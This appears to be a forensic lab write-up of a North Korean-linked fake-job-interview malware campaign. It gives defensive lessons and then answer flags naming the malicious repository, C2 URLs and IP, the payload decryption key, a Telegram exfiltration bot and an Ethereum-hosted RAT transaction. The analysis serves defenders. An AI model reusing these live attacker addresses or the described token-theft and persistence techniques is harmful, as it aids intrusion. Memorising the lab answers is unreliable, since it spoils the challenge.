Electron LevelDB stores are unencrypted credential repositories. Every Electron app — Discord, Slack, Teams, Cursor, VSCode, GitHub Desktop, Antigravity, Notion, Element, Signal Desktop — stores session tokens, user data, and frequently access tokens for connected services in %LOCALAPPDATA%\<App>\Local Storage\leveldb\ and %LOCALAPPDATA%\<App>\IndexedDB\ with no encryption beyond user-account ACLs. Anyone with file-read on the user’s profile can session-hijack any Electron app the user has opened in the last session. The DPRK financial operations group has been weaponising this since at least 2024. Worse, Electron apps frequently leave these directories behind after uninstall, so a “clean” host may still have months-old sessions sitting on disk. Recommended monitoring: file-read access to app-*\resources\app\ JS files from any non-Electron process is a high-fidelity persistence signal; periodic enumeration of session token files for known-targeted apps from a non-browser user-mode process is another.

Telegram-as-C2 is operationally invisible. The Telegram bot fallback in this campaign is not a niche detail — it’s a recurring pattern in DPRK exfiltration, and Telegram’s API is HTTPS to api.telegram.org which is on every “do not block” list for any organisation with employees who use Telegram. There is no built-in audit trail of Telegram bot uploads from a corporate network. Detection has to be process-and-content-based: any non-browser, non-Telegram-desktop process making outbound TLS connections to api.telegram.org is anomalous, particularly POSTs to /sendDocument or /sendMessage with large multipart payloads. The bot in this sample (@file_1018_bot, ID 7870147428) was alive at time of analysis — the actor’s exfiltration infrastructure is operationally active, and the bot ID and chat ID make excellent IOC-rich pivot points for cross-organisation hunting.

Hash-based evasion checks defeat plaintext analyst-tool detection. The Stage 3 evasion routine that MD5s each O-prefixed process and compares against 9a47bb48b7b8ca41fc138fd3372e8cc0 is a one-way function — the targeted tool name is not recoverable from the malware via static analysis. This is a deliberate design choice that mirrors how anti-debugger checks have evolved. Defenders cannot rely on string-based detection of “OllyDbg.exe” or similar in samples; the malware has to be observed running against a known process set to identify what it actually targets. For analysts working in sandbox/VM environments, this means dynamic analysis runs need to be done against deliberately-varied process sets to enumerate evasion targets, and the comparison logic itself becomes the detection signature rather than the tool name.

The QWERTY-keyboard-pattern password is a hunting signal. ,./,./,./ is the bottom-right row of a US QWERTY keyboard pressed three times. The same actor cluster has used this exact string and structurally similar variants (zxc,zxc,zxc, qwe123qwe123) across at least three documented Contagious Interview samples in 2024-2025. Hunting for pyzipper or AESZipFile usage with passwords matching common keyboard-pattern shapes is a low-false-positive detection rule for this campaign family. Combined with the staged folder structure (login/, login-db/, spf/, _info.json), it’s effectively a fingerprint.


What is the full GitHub URL of the repository that contained the malicious file?
Click flag to reveal https://github.com/NotMoSala/ShoeNikta
During filesystem analysis, you identify the initial access vector. What file in the cloned repository contained the hidden malicious code?
Click to reveal answer tailwind.config.js
After cloning the repository, the victim deployed the code and launched the application frontend. At what exact time did the victim deploy the site that as a result executed the malicious code on the host?
Click flag to reveal 2026-03-30 15:36:39
Stage 2 beacons to a C2 server to retrieve Stage 3. What is the full URL used to download the Stage 3 payload?
Click to reveal answer http://23.27.20.143:27017/$s/boot
The Stage 2 request includes a custom HTTP header used to identify the campaign. What is the value of this header?
Click flag to reveal A9
The C2 response containing Stage 3 is encrypted before transmission. What key is used to decrypt the payload?
Click to reveal answer ThZG+0jfXE6VAGOJ
Stage 3 exfiltrates the victim's environment variables to the C2 shortly after execution. What endpoint receives this data?
Click flag to reveal /snv
Stage 3 creates a lock file on disk to prevent multiple concurrent instances of the malware from running simultaneously. What is the name of this file?
Click to reveal answer tmp7A863DD1.tmp
What is the creation timestamp of that lock file?
Click flag to reveal 2026-03-30 15:38:10
Stage 3 enumerates running processes on the host and terminates execution if a specific process is detected. What is the MD5 hash of that process name used for the detection check?
Click to reveal answer 9a47bb48b7b8ca41fc138fd3372e8cc0
Stage 3 retrieves both a RAT and an information stealer. Tracing the network traffic and memory artifacts, what is the MD5 hash of the stealer payload prior to deobfuscation?
Click flag to reveal 1B64F88B33898EABF8CA760606F8CDD9
The information stealer harvested data from the victim's machine and packaged it into an encrypted archive. What is the full file path of the exfiltrated archive including its filename?
Click to reveal answer C:\Users\khaled.allam\.npm\EZ-CERT$khaled.allam_260330_153814#FC582261.zip
To confirm exactly what was stolen, locate and extract the archive. Inside it you will find a file named _info.json containing campaign metadata. What is the MD5 hash of that file?
Click flag to reveal 50F0B29EC447B8B9FCD397BFF35389AD
The attacker implemented a fallback exfiltration mechanism in case the primary HTTP upload to the C2 failed. What application was used for this fallback, and what is the bot username associated with it?
Click to reveal answer Telegram, @file_1018_bot
Using the campaign identifier recovered in Q5, identify the persistent C2 server that the RAT uses to receive operator commands. What is its IP address?
Click flag to reveal 136.0.9.8
Stage 3 executes an additional loader that retrieves the final RAT payload from blockchain transaction data rather than a traditional C2 server. What is the Ethereum transaction hash that contained the obfuscated RAT code?
Click to reveal answer 0x804b000af7d7e4337ba5db28bb367da64a08391de09ffb07847ac897c5f82954
The RAT uses a specific Node.js package to maintain persistent socket-based communication with its C2 and receive operator commands. What is the name of this package?
Click flag to reveal socket.io-client
Examining the memory dump, you identify the process responsible for maintaining the active C2 connection and awaiting incoming commands. What is its Process ID?
Click to reveal answer 7740
The RAT attempted to establish persistence by injecting its stager code into JavaScript files belonging to legitimate Node.js- based applications installed on the host. Based on your analysis of the RAT code, name all five applications targeted. Note: Provide the names exactly as they appear in the catch statements within the code sorted alphabetically.
Click flag to reveal antigravity, cursor, discord, GitHubDesktop, vscode
The RAT reports the status of commands and operations back to the C2, including a runtime identifier string embedded in error reports. What is the full runtime identifier string observed during this infection?
Click to reveal answer boot-eval-0330153749316
🔒
// active lab
writeup locked
withheld in accordance with platform guidelines
to avoid spoiling live challenges.
password provided to recruiters on request.